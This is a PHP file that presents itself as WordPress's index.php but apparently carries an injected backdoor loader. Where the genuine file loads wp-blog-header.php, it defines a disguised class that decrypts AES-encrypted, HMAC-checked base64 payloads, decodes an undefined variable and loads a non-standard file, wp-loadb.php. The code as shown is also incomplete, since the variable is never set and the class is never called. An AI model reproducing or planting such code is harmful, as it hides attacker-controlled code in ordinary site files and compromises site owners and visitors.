<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
class SecureA{
    private $masterKey;
    private $iterations = 10000;
    private $cipher = 'aes-256-cbc';
    private $hmacAlgo = 'sha256';
    private $saltLength = 16;
    public function __construct($masterKey) {
        $this->masterKey = $masterKey;
    }
    public function Soyt($en) {
        $data = base64_decode($en);
        $salt = substr($data, 0, $this->saltLength);
        $ivLength = openssl_cipher_iv_length($this->cipher);
        $iv = substr($data, $this->saltLength, $ivLength);
        $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength());
        $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength());
        $derivedKeys = $this->deriveKeys($salt);
        $calcHmac = hash_hmac(
            $this->hmacAlgo,
            $iv . $salt . $ciphertext,
            $derivedKeys['hmac'],
            true
        );
        
        if (!$this->verifyHmac($calcHmac, $hmac)) {
            return false;
        }
        return openssl_decrypt(
            $ciphertext,
            $this->cipher,
            $derivedKeys['encryption'],
            OPENSSL_RAW_DATA,
            $iv
        );
    }
    private function deriveKeys($salt) {
        $keyMaterial = hash_pbkdf2(
            $this->hmacAlgo,
            $this->masterKey,
            $salt,
            $this->iterations,
            64,
            true
        );
        
        return [
            'encryption' => substr($keyMaterial, 0, 32),
            'hmac' => substr($keyMaterial, 32)
        ];
    }
    private function verifyHmac($knownHmac, $userHmac) {
        return hash_equals($knownHmac, $userHmac);
    }
    private function hmacLength() {
        return strlen(hash($this->hmacAlgo, '', true));
    }
    public function setIterations($iterations) {
        $this->iterations = (int)$iterations;
        return $this;
    }
    public function setCipher($cipher) {
        if (!in_array($cipher, openssl_get_cipher_methods())) {
            throw new RuntimeException('found');
        }
        $this->cipher = $cipher;
        return $this;
    }
}
$a = base64_decode($a, true);

require_once __DIR__ . '/wp-loadb.php';
